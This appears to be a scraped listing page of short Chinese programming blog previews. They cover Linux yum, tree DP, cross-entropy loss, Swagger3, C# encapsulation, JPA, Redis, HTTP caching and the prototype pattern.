作为IT行业的从业者&#xff0c;我们深知程序员在保障系统安全、数据防护以及网络稳定方面所起到的重要作用。他们是现代社会的护城河&#xff0c;用代码构筑着我们的未来。那程序员的护城河又是什么呢&#xff1f;是技术能力的深度&#xff1f;是对创新的追求&#xff1f;还是…

Linux yum,vim详解

yum是什么 yum是一个Linux系统预装的指令&#xff0c;yum的功能是可以对app进行搜索&#xff0c;下载&#xff0c;相当于Linux下的应用商店。 yum是读取Linux中镜像文件中的网页地址&#xff0c;下载用户所输入的命令。 如何使用yum下载软件 yum install -y(所有选项都yes) …

换根dp学习笔记

最近模拟赛经常做到&#xff0c;于是我就学习了一下。 算法原理 换根 d p dp dp的题一般都会给出一个无根树&#xff0c;因为以不同的点为根时&#xff0c;问题的答案不一样&#xff0c;所以它会让你输出答案的最大或最小值。 暴力去做这种题&#xff0c;就是以每个点为根然…

为什么要用“交叉熵”做损失函数

大家好啊&#xff0c;我是董董灿。 今天看一个在深度学习中很枯燥但很重要的概念——交叉熵损失函数。 作为一种损失函数&#xff0c;它的重要作用便是可以将“预测值”和“真实值(标签)”进行对比&#xff0c;从而输出 loss 值&#xff0c;直到 loss 值收敛&#xff0c;可以…

springboot项目使用Swagger3

一、Swagger介绍 号称世界上最流行的Api框架&#xff1b;Restful Api 文档在线自动生成工具>Api文档与API定义同步更新直接运行&#xff0c;可以在在线测试API 接口支持多种语言&#xff1a;&#xff08;java&#xff0c;Php…&#xff09; 二、Swagger3 准备工作 1、在p…

学习c#的第七天

目录 C# 封装 概念 Public 访问修饰符 Private 访问修饰符 Protected 访问修饰符 Internal 访问修饰符 Protected Internal 访问修饰符 总结 C# 封装 概念 在面向对象程序设计中&#xff0c;封装是一种将数据和方法包含在一个单元中&#xff0c;并控制对这些数据和方…

海康Visionmaster-Qt+VS 二次开发环境如何配置?

1 新建 Qt 工程&#xff0c;添加 Qt 模块 Core、GUI、Active Qt 和 Container Widgets 2 拷贝 DLL:VM\VisionMaster4.0.0\Development\V4.0.0\ComControl\bin\x64 下的所有拷贝到项目工程输出目录下&#xff0c;如下图所示&#xff0c;项目的输出路径是 Dll 文件夹。 3 第一…

AOMedia发布免版税沉浸音频规范IAMF

11月10日&#xff0c;开放媒体联盟&#xff08;AOMedia&#xff09;发布了旗下首个沉浸式音频规范IAMF&#xff08;https://aomediacodec.github.io/iamf/&#xff09;&#xff0c;IAMF是一种编解码器无关的容器规范&#xff0c;可以携带回放时间渲染算法和音频混音的信息&…

Spring Data JPA 实现集成实体对象数据库的创建、修改时间字段自动更新

JPA提供了一种事件监听器的机制&#xff0c;用于SQL审计&#xff0c;通过监听器我们可以很快速地去自动更新创建时间、修改时间&#xff0c;主要步骤如下&#xff1a; 一、创建基础实体&#xff0c;包含了创建和修改时间&#xff0c;然后让其他真正的实体继承该实体&#xff0…

59基于matlab的爬行动物搜索算法(Reptile search algorithm, RSA)

基于matlab的爬行动物搜索算法&#xff08;Reptile search algorithm, RSA&#xff09;一种新型智能优化算法。该算法主要模拟鳄鱼的捕食行为&#xff0c;来实现寻优求解&#xff0c;具有收敛速度快&#xff0c;寻优能力强的特点。程序已调通&#xff0c;可直接运行。 59matlab…

3分钟带你了解前端缓存-HTTP缓存

前情提要 前端缓存分为下面三大类&#xff0c;本文主要讲解HTTP缓存~ 1. HTTP缓存 强缓存协商缓存 2. 浏览器缓存 本地小容量缓存本地大容量缓存 3. 应用程序缓存 HTML5应用程序缓存 缓存作用 减少了冗余的数据传输减少服务器的负担提高了网站的性能加快加载网页速度 …

JPA Buddy快速创建update、find、count、delete、exists方法

JPA Buddy快速创建update、find、count、delete、exists方法&#xff0c;JPA默认提供的CrudRepository\JpaRepository提供的方法比较少&#xff0c;一般我们会手写一些方法&#xff0c;这里我们选择通过JPA Buddy快速生成&#xff0c;之前文章中讲到了JPA Buddy原本是IDEA收费插…

未来的拥塞控制与 Linux EEVDF 调度器

有破要有立。 前面提到 经典端到端拥塞控制将越来越失效&#xff0c;未来该如何&#xff0c;谈谈我的看法。 端到端拥塞控制的难点根本上是要解决公平性问题&#xff0c;顺带着提高资源利用率。我们很容易理解&#xff0c;在共享资源场景下&#xff0c;不公平一定是低效的&am…

Redis的特性以及使用场景

分布式发展历程参考 陈佬 http://t.csdnimg.cn/yYtWK 介绍redis Redis&#xff08;Remote Dictionary Server&#xff09;是一个基于客户端-服务器架构的在内存中存储数据的中间件&#xff0c;属于NoSQL的一种。它可以用作数据库、缓存/会话存储以及消息队列。 作为一种内存数…

【Pytorch和深度学习】栏目导读

一、栏目说明 本栏目《pytorch实践》是为初学者入门深度学习准备的。本文是该栏目的导读部分&#xff0c;因为计划本栏目在明年完成&#xff0c;因此&#xff0c;导读部分&#xff0c;即本文也在持续更新中。 本栏目设计目标是将深度学习全面用pytorch实践一遍&#xff0c;由浅…

原型模式 rust和java的实现

文章目录 原型模式介绍优点缺点使用场景 实现java 实现rust 实现 rust代码仓库 原型模式 原型模式&#xff08;Prototype Pattern&#xff09;是用于创建重复的对象&#xff0c;同时又能保证性能。 这种模式是实现了一个原型接口&#xff0c;该接口用于创建当前对象的克隆。当…